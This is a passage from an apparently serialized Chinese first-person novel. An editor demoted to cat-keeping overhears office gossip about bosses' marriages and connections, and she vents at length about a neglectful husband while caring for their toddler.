小草说:“说学历没有用的人,大多数都是自己没有什么学历。你看《喵一生》的领导都是什么学历。函授、进修的不算哈。否则,他能给自己搞个哈佛毕业。要看他的原始学历。他们有几个是本科毕业的?” 小田说:“他们自己不行,就来不停地打击别人,不停地否定别人。” 我说:“你们这些小年轻的,真是不得了。你们的能力那么强,业绩那么好。你们什么真相都知道。你们真是外圆内方啊。真不能小看你们这些小年轻的。” 小田说:“别看他开会的时候坐在台上人模狗样儿的。谁是什么样的人,谁不清楚啊。” 训练猫猫的时候,我看到两只猫猫在用小爪子打架。 我就在记录本上记录下来了:“睿睿跟之之打架。” 下班的时候,衣部长拿着那个小本本问我说:“宋编辑。那两个猫猫打架,是谁先打谁的?” 我一愣。我说:“我不知道啊,我正在给其他猫猫做训练。就看到之之拿它的小爪子打了一下睿睿。我就没当回事。那是两只相对听话的猫猫,平时很少见它们打架。它们两个平时也常常一起玩。睿睿对之之也很好。” 衣部长不耐烦地说:“你作为一个喂养员,猫猫打架,你怎么能不知道谁先打地谁呢?” 我一时语塞了。我又不是一直盯着那两只猫猫,我看着那么多猫猫,我哪知道,是谁先打谁的啊。我想了想,辩解也无益,反而会激起领导更大的不满。道歉吧。处于弱势的时候就一味地做小伏低,道歉。 我说:“对不起。都是我的错。真地对不起。” 瑟瑟寒风中,我看着衣部长扬长而去。随后,我也闷闷不乐地往家里赶去。 下雨了,那天,雨不大,风很冷。冷雨像树枝抽打在我的脸上,我的两颊布满了雨水和白发。孩子的缠绕使我无暇无心顾及自己的容貌和打扮,一个为生活所累的中年妇女,素面朝天,袒露着粗大的毛孔和油光的面皮,使我笨拙的身躯越发显地笨拙了。这副尊容,确实是一副遭人嫌弃的样子。这副尊容,确实是到哪里都没人喜欢。 我在《小坛》上班,向来是夹着尾巴做人,老实本分,不愿意多生是非。对领导服服帖帖,从来不知道背后骂领导,从来都是看着那些比我更有资历的人骂领导,揭露领导最不堪的一面。可我最后却落了个被厌弃被抛弃的田地。 这世间的人情也像这冷冷的风雨,不会因为你怀里还有个孩子就会放过你。 我正木然地想着,呆呆地往前走。猛一抬头,看见了郭浩。他怎么出现在这里?他在《小坛》的地位,已经是固若金汤。他不可能是被发配过来的。我也从来没有听说过他。他是来找这儿的领导有事吧。他只顾着寻找什么,应该没有看见我。我跟他许久不见,也无话可说。我在《小坛》的倒计时的日子里也见过他,他一改十年前的洒脱,有些阴郁,不爱说话了,是不是受他的桃色新闻的影响呢。这种事情在《小坛》就像大风起兮云飞扬,男女老少共传唱,激情四射来传唱,唯独我这样信息闭塞的人不知道罢了。可是我确实不知道,也不太清楚。我快步走过去,冒着被电动车撞到大腿的危险快步走到马路的另一边。我不想跟他打招呼,也没必要跟他打招呼。我是被贬谪之人,居江湖之远。他位高权重,处《小坛》之高。我们是完全不同的两路人了。 6.潘哲、高山 冬天的一个早晨,第四小组集体开会。 小草说:“我听到风声,潘哲被提拔为主任了。” 小田说:“人家有个好老婆。人家老丈人、丈母娘厉害。” 小草说:“我也不觉得他有多帅气啊。” 小田说:“那是因为他老婆也不好看。我看过他朋友圈,他老婆都有些丑了。他本来有老婆的,他为了跟他现在的老婆结婚,把之前的那个老婆给甩了。” 小草说:“他有老婆怎么还又找老婆的?婚内撩骚聊地啊?垃圾!” 小田说:“他现在的老婆,人家爸爸妈妈都有本事啊。潘哲本来连工作都没有,他跟他老婆都是外地人,他们本来在外面闯荡的,遇到现在的老婆,工作也有了,房子也有了。他直接实现阶层跨越了。” 莉莉说:“他原来的老婆从那么远的地方跟着他来到这里,也不容易啊。他说甩就把人家给甩了啊。这种势利小人,我感觉等他以后财产什么的都到手了,他还会把他现在的老婆也给甩了。” 小田说:“会有那么一天的。这样的事情他干惯了。” 小草说:“说起来,他的现任家庭条件那么好。人家父母都是市里的,又是独生女,怎么能看上他的?” “他跟她老婆还没结婚的时候,他就把人家肚子给搞大了。要不,他老婆能死心塌地地跟他吗?”小田说。 “天呐,这种人为了名利也是不择手段了。”莉莉说。 小田说:“人家嘴甜,能干。领导喜欢啊。人家可是领导跟前的红人,领导可喜欢他了,毛学望下班了都约他一起喝酒的。” “其实他工作也不是很认真。什么事情都推给别人。老想做甩手掌柜。”小草说。 莉莉说:“他就像飘在空气里的一粒尘埃。他确实不是真的很认真。” “但是人家对老婆孩子好啊,人家在家里是贤妻良母。每天下班了先请示老婆大人吃什么。孩子生病住院了,都是他去忙活。他忙家事忙地经常迟到早退。”小田说。 “潘哲现在什么荣誉没有?天天出去培训、开会,都是他老丈人给他弄的。别人连那些信息都不知道,人家潘哲就把荣誉证书拿到手了。都是他自己说漏了嘴说出来的,否则,我们都不知道有这回事儿。”小田说。 “唉!论有一个好老婆的重要性。”小草说,“你们听说没有?衣部长,她老公出轨,把别人的肚子给搞大了。” “啊?后来怎么办的呢?”莉莉问她。 “后来他想跟衣部长离婚没离成。”小草说,“衣部长对她老公又热爱又崇拜。” “为什么?一个老腊肉有什么好崇拜的。”莉莉问。 “她老公是《且戒》的,笔头子好。”小草说。 “笔头子好有什么好崇拜的,就一个文化流氓呗。”我说。 “她老公我知道。我那时候刚生完孩子,回来上班。他看到我,‘真好看,身材真好!’好恶心啊,我刚生完孩子呢!”小田说。 “你怎么知道她老公的?”小草说。 “我以前在《且戒》啊。” 小田说。 “他这叫意淫,有一个新词儿叫‘视奸’,你千万不要理他。他这种人就是到处撩,广撒网。你一回应,他就以为你对他有意思了。”莉莉说。 “那当然了,谁会理他啊。恶心死了。” 小田说。 “你们这些小姑娘怎么什么都知道?”我说。 “我们去年跟他一个办公室啊。”小田说。 一天早上,我刚到办公室。 小草悄悄跟我说:“宋编辑。你知道吗?《小坛》的巫主任死了。” 我说:“怎么回事啊?怎么突然死了的?” 她说:“这阵子不是支原体肺炎严重吗?他本来就有基础病,他夜里好好地睡下了,等他老婆一觉醒来,才发现他已经死了。” 我说:“他才四十多岁,本来前途无量的,多可惜啊。” 小草说:“是啊,他岳父是白陆区的首富,家里很有钱。人家都说,他娶了他老婆,少奋斗二十年呢。说死就死了。” 我说:“哦,你不说我都不知道。你是怎么知道的?” 她说:“我姐姐说的,我姐姐是《小坛》的。” 我说:“你姐姐是哪个啊?” 她说:“我姐姐你不认识她,她是今年才调过去的。” 我说:“哦,那我是真地不知道她。” 一天,我在楼梯口准备下楼的时候,迎面走来了一个清秀的小姑娘。 “宋老师!”她笑着说。 “你是在跟我说话吗?你认识我吗?”我疑惑地说。 “是的,宋老师。我以前在《小坛》实习过。”她笑着说。 “我怎么不认识你啊?你叫什么名字啊?”我问她。 “我叫叶展眉。”她说。 “哦,你们怎么都认识我的?不好意思,老师给你丢脸啦!”我笑着说。 “没事的,宋老师!”叶展眉笑着说。 我回到办公室的时候,小草正气呼呼地站在她的位子上,旁边,小田和莉莉在安慰她。 “我不想去相亲,我妈妈非逼着我去!我说,我不去!要去她自己去!”小草说。 “让你去相亲,你就去应付一下呗!男大当婚女大当嫁。你妈要给你找对象,这不是好事情吗?” 小草说:“好什么?我妈妈就喜欢公务员,想让我找个局长什么的。我妈说,这样,以后能在职场上帮助我。” 小田激动地说:“局长又怎么样?当面被人拍马屁,背后不知道被人骂成什么样。人家很多人找的就是普通的职工,人家哪里就差了啊。” 小草说:“那些公务员,人家倒是给我介绍的很多,可是都太油腻了。上次人家给我介绍的一个公务员吧,第一次见面就摸大腿。谁受得了啊。你的兽性请在你出来相亲之前就发泄干净!别以为自己是公务员就觉得自己多么了不起了!” 我说:“小草,你还蛮有风骨的。” 小草说:“那当然!上次杜社长给我介绍他亲戚,我还看不上呢!” 小田说:“杜社长给你介绍他亲戚了啊?” 小草说:“对呀,就是那个长得跟长颈鹿似的钱奎。” 小田笑着说:“你要是跟了他亲戚,多好啊,有他罩着你,保你一世平安。” 小草说:“算了吧。我上班听他的教训还没听够,下了班,家庭聚会上,他作为长辈,我还要听!” 小田说:“那你就自己选一个自己喜欢的。” 小草说:“我倒是有自己喜欢的啊,还是我爸爸的远房亲戚呢。可是我妈妈不喜欢啊,嫌他家太普通了。” 小田说:“凭你爸爸的关系,把他扶持上仕途,根本不是问题。” 小草说:“我爸爸也快退了。” 小田说:“退了关系还在。” 小草说:“他的工作还是我爸爸帮他找的呢。可是我妈妈不喜欢,嫌他家里太普通,还嫌他跟我是异地。” 小田说:“异地不是问题,你爸爸可以帮他调过来。” 小草说:“我妈妈这几天不高兴了。她看我不去相亲,她急地跟什么似的,昨天还莫名其妙地哭了。” 小田说:“你妈那都是心疼你,你妈就你一个宝贝嘛。” 小草说:“她现在脾气可不好了,我怀疑她是更年期了。” 小田说:“她那都是爱你。” 小草说:“她哪里是爱,她明明是想控制我。她早就跟我说了,等我结婚了,她就把二楼留给我们住,她们老两口儿住一楼。我也跟她说了,等我结了婚,我坚决不跟她住在一起!她休想再控制我!” 小田说:“那你现在怎么办?是听你妈的去相亲,还是跟你的意中人谈啊。” 小草说:“我妈非让我去相亲,我也没有办法。我即使去相亲了也不会看上别人的。她介绍的那些男人都太油腻了。” 小田说:“那你还是跟他谈喽。你妈妈不同意,你怎么出去约会啊。” 小草说:“是啊,我们家家教很严的。八点钟以前必须到家。” 小田说:“这样说来,你要是想在外面留宿还留不成呢。” 小草说:“我想在外面留宿,也过不了我爸爸这一关啊。他要是知道了,他那个脸一沉,谁不害怕啊。” 我想,小草的父亲这么有本事,会是谁呢?我想问一下小田,又不好意思问,怕小田说我势利。 我突然想起来,我在《小坛》的时候,有一次开会,老聂说,坐在主席台上的是高山。我那时候没有注意。因为谁是领导跟我又没有关系。我也不感兴趣。我只仿佛知道,高山是局里的领导。 小草的爸爸难道是他? 半夜里,我起来给孩子冲奶。我刷完奶瓶,往奶瓶里倒上开水。 我有些睡不着了。就在餐桌上拿来手机,坐在床头,趁着漆黑的夜色,百度了一下:青提区高山。果然,我在百度的页面里,看到了高山的照片。他有着跟小草一样的大眼睛,黑皮肤。他的身边站着《小坛》的领导。 原来,高山是小草的父亲。 原来,小草的父亲是高山。 “郁郁涧底松,离离山上苗。以彼径寸茎,荫此百尺条。” 初知这首诗,总以为,山上的苗何其猥琐不堪,涧底的松多么郁郁葱葱。 殊不知,澗底的松终究是在澗底。山上的草终究是在山上。 那草,因为有山的托举,即使是草,也被托举出了松的陡峭和张牙舞爪。 那松,没有阳光,没人夸赞,没人鼓掌,只有阴暗,只有憋屈,如此一来,也只有阴郁,何来的郁郁。 于是,松也就成了草,草也就成了松。 “地势使之然,由来非一朝。”小时候听大人讲《白毛女》,总觉得黄世仁这个地主老财很丑。后来听我妈妈说,黄世仁怎么可能丑呢,他家是地主啊,他爹有本事,就会娶一个好看的女人,生了他,能丑吗?所以,黄世仁家里,即使第一代难看,可是因为他家里有钱,经过娶漂亮女人来“转基因”,如是再三,几代下来,是不会有丑人的。 46. 我像一头孤独的野兽,经常怒吼 1.我像一头孤独的野兽,经常怒吼 我无意间走到鞋架前,看到端午的一双鞋子坏掉了,鞋底断裂了。自从跟他结婚后,他的鞋子都是我刷。我怀孕以后,还是给他刷鞋子。我站着刷鞋子累地腰疼。他躺在床上纹丝不动。 有了孩子以后,我就彻底不给他刷鞋了。他谁都不管,只顾自己,还照顾不好自己吗。可是现在他的鞋子坏了,我不可能坐视不管的。 我就让老太太看着孩子,我放下手头的事,跑到超市上面的“红蜻蜓”鞋店里,给他选了两双鞋子。而我,看看女鞋店里那些鞋子,比我脚上的要好看的多,我想给自己换一双也行,但是想想还是算了。 作为一个出身于贫苦农民家庭的八零后妇女,我愿意为老公、为孩子付出。非常愿意。而且这种完全忘我的付出让我觉得自己很伟大、很快乐。我像一个充足了气的大气球,胀满了热情,每天升腾着自己的精神,为老公、为孩子忙碌。可是,我的老公对我,我觉得永远是电量不足。 一天早上,我在菜场买菜,端午打来电话:“我的手机坏了,充不了电了。” “那赶紧买一个。”我说,“别耽误上班。我给你发两千块钱,你自己网上买,还是去店里买?” “我自己在网上买。你再发一千块钱,我要买个‘苹果’。”端午说。 “你非要买那么贵的吗?”我不高兴了。 “我用‘苹果’用习惯了。你再发一千,我这里还有一点,添上。快点,不说了,我手机快没电了。”端午说,他好像在忙着,说话声音有点压低,像是不太方便。 我虽然不高兴,但还是又发过去一千。 “谢谢老婆。”他收了红包,回信息说。 谢谢我,又怎样?他只管自己开心。从我怀孕到产后一年,他Pad、电脑、手机,一一置办齐全了。而且完全超出我的预料和预算。 生完孩子以后,不对,是怀孕以后,我就不怎么舍得给自己买衣服了。我的心思全在孩子身上。她的衣服全是我买。她刚出生,春夏秋冬循序渐进的衣服、鞋子、帽子,乃至小围巾,小围嘴儿,全要想地周到、仔细。我自己不穿新衣服,可是我每天都在买。以至于我对给我自己买衣服这件事丝毫不感兴趣。端午每个月两三千块钱归我支配,从我手里出去的钱很多,可是全部花在家庭吃喝和孩子身上。我自己没了衣服,就在网上买件裤子补给补给,我不是上班,就是照顾孩子,我没时间去逛街,我没那个心思去,我也舍不得钱。我也觉得自己这个样子,又老又胖又沧桑,很多衣服我都穿不上,即使穿得上,那效果也不好。 何况,女为悦己者容,我也没有悦己者,更没了己悦者,我的眼里、心里,只有我的孩子,等她长大了,要面子了,或者要去开家长会了,我那时再打扮打扮吧。现在,真的算了吧。我也不是没有精打细算控制饮食减肥过,我也不是没有精挑细选为自己装扮过。时过境迁,变的是衣服,人还是那个人,躯壳还是那个躯壳,没意思,真的没意思。 我仿佛是看透了。 既然“人靠衣裳马靠鞍”,既然装扮是瞬间的事,那缓一点也不迟。 端午这两年,也不怎么买衣服了。但是他花的钱,他为自己置办电子产品的钱可是一点都不少。他不像我,我是慢慢地花,一点点地花,一次性花多了我肉疼。他不是,他是好久不怎么花钱,然后猛地一下子掷出去很多钱,把人震地一愣一愣的。你允许他花吧,你舍不得,委屈,有气;你不允许他花吧,搞得是你对不起他,你因为他,在心里挖了一个坑放在那里,等有了钱还是为他补上去。 嫁出去的女儿泼出去的水。我是结了婚的人,娘家早就不是我的家了。我全心全意爱着我的老公和孩子。我也想有一个真心实意爱我的孩子的家,有一个对孩子尽心尽力的老公,有一双对孩子尽心尽力、温暖有爱的公婆。 可是他们呢? 这几年,我在这个家里活活地活成了一个男人。每天早晨,我五点四十就起来。我要从菜场拎来十几斤的蔬菜、水果、排骨,鸡蛋,还有二十几个包子。一个个重重的塑料袋子挂在我的手腕上,把我的手腕儿勒出了深深的红印子,疼地我觉得都要把我的手腕上的血管儿勒断了。门口的保安看着我骑着自行车风风火火地经过,都认识了我,都朝着我笑。他们好像从来没见过我老公,他们是不是怀疑我是一个寡妇? 买菜回来,烧水,给孩子洗脸、擦屁股,给孩子准备辅食,家里家外,忙地慌慌张张,一路小跑,争分夺秒。他坐在马桶上点击不停,或是打游戏、或是斗地主,或是看小说,也是孜孜不倦,忘记了时间。他每天坐在马桶上长蹲不起,不顾外头妻子的忙碌和孩子的哭泣。 他的母亲急着要上厕所了。他还是不出来。 “端午!”他的母亲急不可耐地喊他。 “你再等等!”他也不耐烦地回答。 我说:“端午,你给我出来!你都蹲了一个小时了。别人不上厕所啊。你再不出来,你妈妈都要拉裤子了!你每天都能蹲一个小时,你真是厕神啊你!” “行的行的!烦死了!每天瞎逼逼,每天吵每天吵。”他说。 “我每天跟你吵?你为什么就是不说我为什么跟你吵?你只有蹲厕所打游戏的时候是兴奋的,你的精气神都被游戏给吸光了!耗尽了!你打完游戏出来就是个行尸走肉了!跟个丧尸似的!你那个鬼样子我看了都恶心!你把我气到绝望发疯,你还觉得你是个老实又无辜的受气包,我是个十足的泼妇!” 经我骂骂咧咧地提醒,他才从厕所里出来,他从厕所里出来以后就疲软了,看看孩子,发出假惺惺的嬉笑,就回到房间一头栽到床上,又软绵绵地卧倒了。 每天,我都要看到这么一个男人。我每天都要看到这么一个男人。每天,这个男人把冷漠和置身事外给了我。我为家庭为孩子充满了高昂的热情和战斗力,可是我的所谓的老公却是如此颓废如此消极如此没有温和气。 别人只听到我发脾气,谁又知道我内心所受的打击。 很多时候,没有人在我身边。我一个人抱着孩子,在广场上看来来去去的人群,跟她们说着不痛不痒的话,等夕阳西下,自己抱着孩子回家。我一个人抱着孩子,在社区医院微醺的空气里听此起彼伏的婴孩的哭声,看别人家男人抱着孩子的油腻的身影在我的眼前晃动。我一个人抱着孩子,坐在回家的网约车上,看远山的暮色吞没了斜阳,在这漫长的傍晚的路上,担心我睡熟的小婴孩,她小小的心魂会不会跟不上妈妈的行色匆匆和满目苍苍,迷失在这荒凉冷落的山上。 我的老公几乎没有问过孩子。他回家了,孩子喜欢围着他转,他高兴了,装模作样逗孩子一下,没过几分钟,就把孩子推给我:“去!找妈妈去!” 吃饭的时候,我抱着孩子喂饭,他自顾自地吃饭。他吃完饭就去玩电脑,根本不知道我还要吃饭,根本不知道换我吃饭。 晚上,我给孩子洗完澡,他帮我看着孩子,等我收拾好爬上装着围栏的床,和孩子坐在一起玩的时候,他就要走了,他要去自己玩了。他的灵魂早就两股战战,准备撤离了。 万家灯火,妻儿最需要陪伴的时刻,他要撤。留下我自己逗着孩子玩儿,哄着孩子入睡,再陪着孩子睡觉。他玩到深夜,我们不知道他是什么时候睡的。 等孩子半夜因为饿了、尿了,烦躁不安地翻腾的时候,他是睡死的,是昏迷不醒的。如果孩子惊扰了他,他就嫌弃地翻过身去再睡。孩子怎么样了,他是不管的。我一个人在深夜里,被孩子不安地翻滚声惊醒,一个人扎起头发,给孩子整理铺的盖的。 自从生完孩子,我的左手腕上就有一个皮筋。那是预备夜里起来冲奶的时候扎头发的。这个习惯,我已经保留了好几年。生孩子之前,我是没有这个习惯的。 我去给孩子冲奶瓶的时候,他睡在那里,形同虚设,我担心孩子摔下床,就一手抱着孩子,一手拿着奶瓶在水龙头底下冲。 有时候,我把孩子安置好,再去上厕所。孩子醒来见我不在身边,就哭着找妈妈,根本不认他。因为他白天带地太少,夜里根本不管。孩子一岁半了,跟他根本不熟。孩子白天围着他转,那是因为他不常在,因为新鲜。 孩子哭着找妈妈,他哄不好,他就提着我的名字喊我:“大省!大省!” 他明明在,可是我连上个厕所都上不安生。我听见孩子哭,就匆匆忙忙赶紧回去安抚孩子。 他就是一个偶尔伸手相助的陌生人,他不是我的老公,也不是我孩子的父亲,两样他都不配,他不是全心全意向我们靠拢的。他是游离在我们之外的。他是从来没有一次像我那样全身心地投入地为孩子的。 我图他什么?我图他给我夫妻生活的愉悦?夫妻生活?我们是几乎没有的。自从我怀孕以后,我们连手都没牵过。我大着肚子跟他一起走在街上,他从来不牵着我的手,他总是走在我前头,美其名曰为我清道儿。产后半年,我们也是什么都没有。我忙孩子忙地心力交瘁,偶尔有一点想法,看看他又是熬夜学习又是加班的,我也没有兴趣了。总之是没有。我怀疑他性功能不行了,他还不承认。没有就没有吧,可是,连精神上的交流和陪伴也没有。 所以,有一阵子,我出去见了陌生人,话很多。因为我在家里跟谁说?我见了卖菜的老大哥对我热情一点,我都想入非非、觉得无比亲切。因为我在家里没有人关心。我是一个缺爱的女人。不是害怕无辜的孩子背负一个“单亲家庭”的名声,这样的老公我要来干什么。 其实,除了害怕社会上对“单亲家庭”的孩子的偏见,我真的不觉得留着他还有什么用,我需要他来跟我吵架,需要他来气我吗,我留着他来跟我吵架惊吓孩子吗?我也不觉得没有他,我的孩子会缺少什么。 这几年,我早就活地雌雄同体了,我既能给孩子温柔的呵护,也能勇往直前抱着她去跑医院打疫苗。我既能给孩子慈母的拥抱,也能霸气勇猛地把孩子举高高。 我的公婆?呵呵。从怀孕到孩子一岁多,她的奶奶没给她买过一丝布,他的爷爷,几个月都不来看看她。人家的爷爷疼孙女,几天不见都想地慌。我的孩子,一岁多了,只会叫“爸爸妈妈奶奶”,不会叫爷爷,因为她几乎没见过爷爷。 我越想越气。 我跟端午说:“你爸爸下班以后去打牌、摸女人,都不能来看看孙女啊。人家疼孙子的爷爷,一天不见孙子都想得慌。他好,他象征性地来看了一下,就再也不来了。” 不知道是端午把话儿递出去了,还是老太太把话儿带过去了。没几天,老头子来看他久未谋面的孙女了!他买了一个大西瓜,一串大香蕉。孩子看着他还是呆呆地,根本不知道他是什么物种、他是哪个星球的!他又来应付了。 “我马上去上班了!我得走了!”他说。 走吧,走吧!不是为了孩子的亲情,你以为我稀罕看到你! 有人劝我,把孩子送回乡下,让她奶奶带着,我来跟孩子的爸爸好好经营夫妻感情。这种事对我来说是不可能的。家庭这种东西对我来说真的不重要。 我结婚不是为了有个家,而是为了有个孩子。否则,我干嘛急着结婚。我半生的苦难都熬过去了,没吃没喝的日子,我的父母把我养大。我怎么到了能够挣钱独立自主的时候,我需要一个家了?如果我的孩子不在我的身边,这个家对我来说,还有什么意义?这个家如果对我的孩子不够好,我干嘛要爱这个家?我是需要一个老公来伺候?还是需要一个老公来气我?还是需要一双三四十年从来没有见过的老人来做我的公公婆婆,让我有机会可以来叫他们一声“爸爸妈妈”? 可是我没有办法,我有孩子,我不能一拍两散、一走了之。为了我的孩子,我还得跟他们混在一起。我被气地一头白发,还是得跟他们混在一起。我只盼着孩子快快长大,是的,我的孩子,快快长大吧,长大了,我们就不需要他们了。 我到了这把年纪,有了这许多经历,早已把爱情置之度外,早已对无病呻吟的情歌嗤之以鼻。不是不再相信爱情,是知道了爱情熬不过新鲜劲儿,不能够被人相信。不是不再渴望爱情,是知道我这样庸俗的面孔和臃肿的身躯,不再适合那些风花雪月,我的四十岁的一度烦累的心,早已对可有可无的叫做爱情的游戏没了耐心。我被所谓的爱情带来的家庭,折磨地歇斯底里、满头的白发。我知道爱情真实的面目是个什么东西。爱情,在我这个四十岁的大妈眼里真的一点儿都不是那么让人着迷。 人说三十如狼四十如虎,可我早已没有了那些曲折的层叠地滚动地力气和兴趣。我知道在那些大同小异的滚动之后的结局,是多么可笑可悲和空虚。而我,到了四十岁的年纪,需要的是实实在在的东西。 吃晚饭的时候,端午说:“我跟老板的亲戚吵架了。” 我有点为他担心。就问他:“是今天吵的吗?” “经常吵。”他说。 “啊?” “不是我做的,他非说是我做的。搞坏了的事情赖在我头上。”端午说。 “你居然经常跟老板的亲戚吵架?我还以为你不会吵架。你在家里不是不跟我吵吗?” “在家里不能吵架,吵架家就没了。”端午说。 “啊?你这话说地我好感动啊。”我说,“那你怎么办?跟老板的亲戚吵架了,他会给你小鞋穿吗?老板会不会听他亲戚的,给你小鞋穿?” “不行就换个工作。最迟年底吧。”他说。 我虽然心里有些紧张,但还是安慰他:“这样的老板任人唯亲,不干也罢。你这个老板也不是什么好东西。每天都要加班,谁吃得消?好容易不加班,又召集你们吃饭,光吃饭不行,还让你们喝酒。喝到九点多,再去唱歌,回来都半夜了,醉醺醺地回来,累地半死。第二天还要继续上班。你身体不好,他还老让你喝酒。你不干就不干吧。不行,你先歇几个月,在家带孩子。” “我要找工作的,我在网上看看!”端午说,“对了,我一个同事要自己开公司,想让我投资他两万块钱,我投资吗?” 我说:“你脑子有问题吗,这种事儿要问我吗?你又想从我这里拿钱了是吗?你自己一个月四千块钱的工资,养家都不够,你还想去投资。你投啊,你卖肾去给你同事投资!” 端午说:“我就问问你,你话那么多!” 我说:“你问我干什么?你问你自己的钱包啊!你自己身上连两千块钱都没有,你还要给你同事投资?宝宝靠你,你都养不起,你还要继续来花我的钱?你同事让你投资你就投资?投资是什么意思?他赔了一分都没有你的!你去投啊,你有一千万,你赔得起,你就去投!你问我干什么!我要是同意,你就拿我的钱去投是吗?你天天花我的钱还不够,你又跑来坑害我是吗?”我气地饭都要吃不下去了。 “你自己没脑子,还要跑来坑害我,你坑害我,就是坑害我的孩子。我们目前养孩子压力多大,经济多紧张,你不知道?你是不是觉得我靠着这样一个靠不起还得坑我的老公,我还很轻松?你是不是觉得我满头的白头发还不够多,我满身的压力还不够大?你是不是觉得你祸害我还不够,又搬出来你的同事来祸害我?” “这几年的行情你不是不知道,哪个还敢轻易投资,哪个不怕失败?就算是你亲爹,你也不能拿我给孩子买奶粉的钱,来给他投资!” “人家拿你当傻瓜,拿你来当垫背的,你就往人家的套子里钻,你自己往人家的套子里钻,粉身碎骨死不足惜!你还要再来坑害我一把?嫁汉嫁汉,穿衣吃饭!我吃你的、喝你的了吗?我天天为了孩子花钱,自己舍不得花一分钱,不要说两万!两千,两百,我都要心疼!你怎么不心疼?感情花的不是你的钱,感情你只顾你自己,你谁都不顾,你心里就没想过老婆的衣食,孩子的奶粉!” 我左手抱着孩子,右手拿着筷子,把端午一顿臭骂。我气地已经吃不下饭去了。我拿着筷子看看桌上的饭菜,我被气地头脑发懵,没有一点胃口。 这年头,遇上老奸巨猾的男人,他哄你、骗你,恶心你,你没法儿过。遇上没脑子的男人,他也是天天气你、恶心你,也是没法儿过。 端午吃饭的时候,非要拿着他的筷子给宝宝喂饭,我怎么劝说都无效。 “不要拿大人的筷子给宝宝喂饭,她有她的筷子和勺子!” “怎么那么多讲究!没事儿!”他说。 我说:“这叫讲究吗?这叫常识好吗?你又不是山顶洞人,你连这个常识都不知道吗?孩子还小,大人嘴巴里细菌那么多,你都一天不刷牙了,你一天牙关紧闭,回来呼一口气,跟放毒的似的!你还拿你筷子给她喂饭!” 端午说:“我就要拿我的筷子喂饭!有什么!瞎讲究!” 我说:“我真的无语了,你是现代人啊!三年疫情你没经历过吗?你不知道人的嘴巴里是有细菌的吗?你自己每天晚上坚持不刷牙就算了,你还拿你的筷子给宝宝喂饭!你一天都不管她,她吃不吃你那一口也无所谓,你还拿你筷子喂她!” “就要喂!就你有洁癖!”他说。 我说:“你不许喂!哎呀,你说你回来干什么?你还是回你那里吧。你不回来,我们安安生生地。你一回来,唯一的作用就是跟我吵架。你说。我们在一起干什么?”我说。 端午说:“怎么不能用大人的筷子了?” 我说:“我不想跟你吵!跟你吵对宝宝不好!你以后别管她了,不要你管。” 因为这样的小事吵架太多了,恶性循环。我们的感情与日俱减。我觉得我不需要他,他也不需要我了。噢,不对,他还需要我。他需要我给他操持家务,给他养孩子。 孩子的奶瓶每次刷完,都是用开水烫上的。等到孩子下次吃奶,就把奶瓶里的水倒掉。 这个,他知道,他妈妈也知道。 老太太给宝宝冲奶的时候,端午不知道是哪根脑子抽筋,他在旁边说:“这个烫奶瓶的水也可以用的。” 他那昏聩温柔的母亲,就真地把手伸过去,要直接拿烫奶瓶的水来给宝宝冲奶粉。 幸好我在!我及时地制止了! “烫奶瓶的水不能直接给宝宝喝,你不知道啊!”你看,我又凶了。 “烫奶瓶的水是不能给宝宝喝。”他的温柔的母亲温柔地说。 “那你为什么不坚持正义,他说要给宝宝喝,你就给她喝啊!” 端午也知道是他一时脑子抽筋了,他也不说话了。 是的,我又跟他们吵架了。在这个家里,我感觉我像一头孤独的野兽,时不时地为了我的孩子跟他们怒吼。因为我是唯一对宝宝最负责的人。其他的人,各有各的私欲,对宝宝各有各的虚伪。只有我,只有我一个人,为宝宝把关,为宝宝负责。 是的,只有我一个人。不是为了孩子,我想离婚。可我又不是那么想离婚,女人,家里毕竟得有个男人,何况这个男人还是我孩子的亲生父亲。端午再不好,他赚的钱老老实实地交给我。他不会甜言蜜语,可是他也没有那些鬼心眼,相比社会上三教九流的那些老奸巨猾的鬼男人,端午依然是一股清流,依然是洁白的小花一朵。 何况,除此以外,我根本也不想再去费个球事再去找个男人,再去跟他叽叽歪歪的。 我够了。 过了几天,晚饭后,端午说他要开视频会议。我看他坐在电脑前。 没一会儿,他开始跟人说话:“喂!吴会计,你好!我是端午。我以前在马克公司干,会画二维图画。简单的三维动图也会一些。” 我没听到对方说什么,只听见端午的话又来了:“吴会计,你现在在哪里?” 对方说:“我现在在上海。总部在上海,这里是分公司。” 端午说:“好的。我看了一下,你们那个厂离我现在住的地方远。我那边也有房子。我可以住在那边。” 对方又跟他说些什么。 端午的话又来了:“吴会计,那我什么时候去你们厂看看啊。” 对方大概跟他约了时间。 “那好的,那我抽空去你们厂看一下。”端午说。他自己好像就把这事儿给定下来了。他做什么事情都是这样。单刀直入,毫不啰嗦。 端午去拆快递了,这次,他给宝宝买了一辆只有前后两个轮子的小自行车。 我说:“我不是给她买了小推车了吗,她才一岁,不能骑自行车。” “练习练习!”端午蹲在地上说。他准备组装自行车了。 “买什么自行车啊,买了她也不能骑。”我埋怨道。 端午不说话,蹲在那里组装自行车。鼓捣了半天,只装了两个轮子。 “装不好。”他说,“扔了吧。” “你不要扔,回头我看看。” 我没好气地说。 “行的行的,回头你看看吧。我要睡了。今天太累了。” 我把宝宝交给他妈妈,拿来钳子来装自行车。我确实也不知道怎么组装。 我就去房间里问端午:“你把你买的自行车的链接给我,我来给她装上。” “什么链接啊,我太困了,睡了睡了。”端午翻过身去说。 我没办法,就自己到淘宝上找了同款自行车,跟人家商家说了一下,让人家发了安装视频。我照着视频,一点点地,慢慢把自行车组装好了。 橙色的车座儿,乳白色的车架,看起来很是呆萌可爱。只是,两个轮子的自行车,宝宝根本就不能骑,只能偶尔推两下。 宝宝对这个新自行车感觉很新鲜,跟奶奶一起推着玩。还自己拿着核桃钳子,蹲在自行车轮子上的螺丝前,模仿着大人装自行车的样子,有模有样地划来划去。她在模仿大人修车呢。 凌晨四点,我被宝宝翻滚的声音吵醒了。我起来的时候,无意中摸到了她的脑袋,怎么那么热,我拿过体温枪给她测了一下,宝宝发烧了,38度。 我跟端午说:“宝宝发烧了,去医院吧,看看是怎么回事。” 端午说:“肯定是开空调吹的,我让你不要开空调。” 我说:“之前开了一个多月的空调,不是也没事儿吗?不开空调怎么办,我夜里一忙她就一身汗,宝宝也热。再说,空调都开到29度,30度了。” 我看端午懒懒地。看他的样子是不想去医院。 我就试探他说:“要不,我自己抱她去医院,你不要去了?”我也不是阴险,我是知道他的。我要生的时候就是凌晨四点,他不是翻过身去还要睡吗?孩子出生一年多了,什么事情指望过他?我是心里有阴影了。 “好的!”他果然爽快地答应了!我知道的。我试探一下,是确定他有多不负责任。 